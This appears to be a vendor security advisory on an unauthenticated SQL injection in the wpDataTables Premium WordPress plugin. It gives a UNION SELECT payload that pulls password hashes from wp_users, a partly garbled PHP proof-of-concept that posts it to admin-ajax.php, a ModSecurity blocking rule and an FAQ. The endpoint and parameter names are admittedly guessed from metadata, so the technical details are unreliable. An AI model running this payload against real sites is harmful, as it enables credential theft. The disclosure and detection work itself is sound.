{
“analysis”: “Atomic Edge analysis of CVE-2026-54825 (metadata-based):nnThis vulnerability is an unauthenticated SQL Injection in the wpDataTables Premium plugin for WordPress, affecting versions up to and including 7.4. It carries a CVSS score of 7.5 (High) with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. The attacker needs no authentication and can execute arbitrary SQL queries against the database.nnThe root cause, as indicated by the CWE-89 classification and the description, is a failure to properly escape user-supplied parameters and insufficient preparation of existing SQL queries. This is a classic second-order or inline SQL injection where the plugin interpolates attacker-controlled input directly into an SQL statement without using prepared statements or parameterized queries (e.g., $wpdb->prepare). Since no code diff is available, Atomic Edge analysis infers that the vulnerable parameter is likely passed via a shortcode attribute, AJAX handler, or REST API endpoint controlled by the plugin. The lack of nonce verification or capability checks likely allows unauthenticated access to the vulnerable function.nnExploitation would involve sending a crafted HTTP request to the plugin’s public-facing endpoint. WordPress plugins commonly expose AJAX actions under the ‘wpdatatables’ slug. Based on the plugin’s functionality, the likely attack vector is an AJAX action such as ‘wpdatatables_get_table_data’ or ‘wpdatatables_load_table’ that accepts a table ID or query parameter. The attacker would inject SQL via a parameter like ‘id’, ‘table_id’, or ‘query’. A typical payload would be: action=wpdatatables_load_table&table_id=1 UNION SELECT user_pass FROM wp_users– . No authentication is required because the handler does not enforce current_user_can().nnRemediation requires the plugin developers to (1) use $wpdb->prepare() or similar parameterized queries for all SQL statements, (2) escape user-supplied input with esc_sql() as a secondary defense, and (3) implement proper authorization checks (e.g., current_user_can(‘edit_posts’)) on AJAX handlers. The patched version 7.4.1 likely addresses these issues by converting raw SQL interpolations to parameterized queries.nnImpact includes complete database disclosure. An unauthenticated attacker can extract all WordPress user credentials (hashed passwords), posts, options, and other sensitive data from the database. This can lead to privilege escalation if admin hashes are cracked, or further attacks like lateral movement through exposed internal data. The confidentiality impact is rated HIGH, while integrity and availability are not directly affected.’,
“poc_php”: “<?phpn// Atomic Edge CVE Research – Proof of Concept (metadata-based)n// CVE-2026-54825 – wpDataTables (Premium) ‘wpdatatables_load_table’,n ‘table_id’ => $sql_payload,n ‘wdt_var1’ => ‘1’,n);nn// Initialize cURLn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $ajax_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_HEADER, false);ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);ncurl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);nn// Execute requestn$response = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);nn// Check for errorsnif (curl_errno($ch)) {n echo ‘[!] cURL error: ‘ . curl_error($ch) . PHP_EOL;n exit(1);n}nncurl_close($ch);nn// Output responsenif ($http_code === 200) {n echo ‘[+] Request succeeded (HTTP 200). Response body follows:’ . PHP_EOL;n echo $response . PHP_EOL;n n // Check if SQL injection likely worked by looking for user data patternsn if (preg_match(‘/[a-f0-9]{32}/i’, $response)) {n echo ‘[+] Likely SQL injection successful: extracted MD5-like hashes found.’ . PHP_EOL;n } elseif (preg_match(‘/\$P\$[A-Za-z0-9]{30,}/’, $response)) {n echo ‘[+] Likely SQL injection successful: extracted phpass hashes found.’ . PHP_EOL;n }n} else {n echo ‘[-] Request failed with HTTP code ‘ . $http_code . PHP_EOL;n}n?>n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-54825 (metadata-based)n# Blocks unauthenticated SQL injection via wpDataTables AJAX handlern# This rule targets the inferred vulnerable endpoint: admin-ajax.php with action=wpdatatables_load_tablen# SQL injection pattern matches common UNION SELECT and OR-based attacksnSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20261994,phase:2,deny,status:403,chain,msg:’CVE-2026-54825 – wpDataTables SQL Injection via AJAX’,severity:’CRITICAL’,tag:’CVE-2026-54825′,tag:’wordpress’,tag:’wpdatatables'”n SecRule ARGS_POST:action “@streq wpdatatables_load_table” “chain”n SecRule ARGS_POST:table_id “@rx (?i)(union.*select|select.*from|insert.*into|update.*set|delete.*from|drop.*table|sleep\(|benchmark\()”n”
}

CVE-2026-54825: wpDataTables (Premium) <= 7.4 Unauthenticated SQL Injection PoC, Patch Analysis & Rule
CVE-2026-54825
wpdatatables
7.4
—
Analysis Overview
Frequently Asked Questions
What is CVE-2026-54825?
Vulnerability OverviewCVE-2026-54825 is a high-severity SQL injection vulnerability in the wpDataTables Premium plugin for WordPress. It allows unauthenticated attackers to execute arbitrary SQL queries against the database, potentially extracting sensitive information such as user credentials and other data.
Which versions of wpDataTables are affected?
Affected VersionsAll versions of wpDataTables Premium up to and including version 7.4 are vulnerable. The patched version is 7.4.1 or later. Users should update immediately to protect their sites.
How does the SQL injection work?
Technical ExplanationThe vulnerability stems from insufficient escaping of user-supplied parameters and lack of prepared statements in SQL queries. An attacker can inject malicious SQL via a parameter like ‘table_id’ in an AJAX request, appending commands such as UNION SELECT to extract data from other tables.
What is the CVSS score and what does it mean?
Risk AssessmentThe CVSS score is 7.5 out of 10, classified as High severity. The vector is AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N, meaning the attack requires no authentication, has low complexity, and can be executed remotely. It impacts confidentiality (high) but not integrity or availability.
Who is affected by this vulnerability?
Impact ScopeAny WordPress site running the wpDataTables Premium plugin version 7.4 or earlier is affected. Both authenticated and unauthenticated users can be targeted, but the exploit does not require a user account, making it especially dangerous for public-facing sites.
How can I check if my site is vulnerable?
Detection StepsCheck the wpDataTables plugin version in your WordPress admin dashboard under Plugins. If the version is 7.4 or lower, your site is vulnerable. You can also use security scanners or manually inspect AJAX handlers for unescaped parameters.
What is the recommended fix?
RemediationUpdate the wpDataTables Premium plugin to version 7.4.1 or later. As a temporary mitigation, you can block access to the vulnerable AJAX endpoint via a web application firewall (WAF) or by disabling the plugin until patched.
How does the proof of concept work?
PoC ExplanationThe proof of concept sends a POST request to /wp-admin/admin-ajax.php with action=wpdatatables_load_table and a crafted table_id parameter containing a UNION SELECT statement. If successful, the response includes data from the wp_users table, such as password hashes, confirming the SQL injection.
What data can an attacker extract?
Data ExposureAn attacker can extract any data from the WordPress database, including user credentials (hashed passwords), user emails, posts, options, and other sensitive information. This can lead to account takeover if password hashes are cracked.
Can this vulnerability be exploited without authentication?
Authentication RequirementYes, the vulnerability is exploitable by unauthenticated attackers. The vulnerable AJAX handler does not enforce any capability checks, allowing anyone to send malicious requests and execute SQL injection.
What is the role of the ModSecurity rule provided?
WAF Rule ExplanationThe ModSecurity rule blocks SQL injection attempts targeting the wpDataTables AJAX endpoint. It checks for common SQL injection patterns like UNION SELECT in the table_id parameter and denies the request, providing a virtual patch until the plugin is updated.
How does this vulnerability compare to other SQL injections?
Context and SeverityThis is a classic unauthenticated SQL injection with high impact. Unlike some vulnerabilities that require authentication or have limited data extraction, this one allows full database access with no privileges, making it critical to patch promptly.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






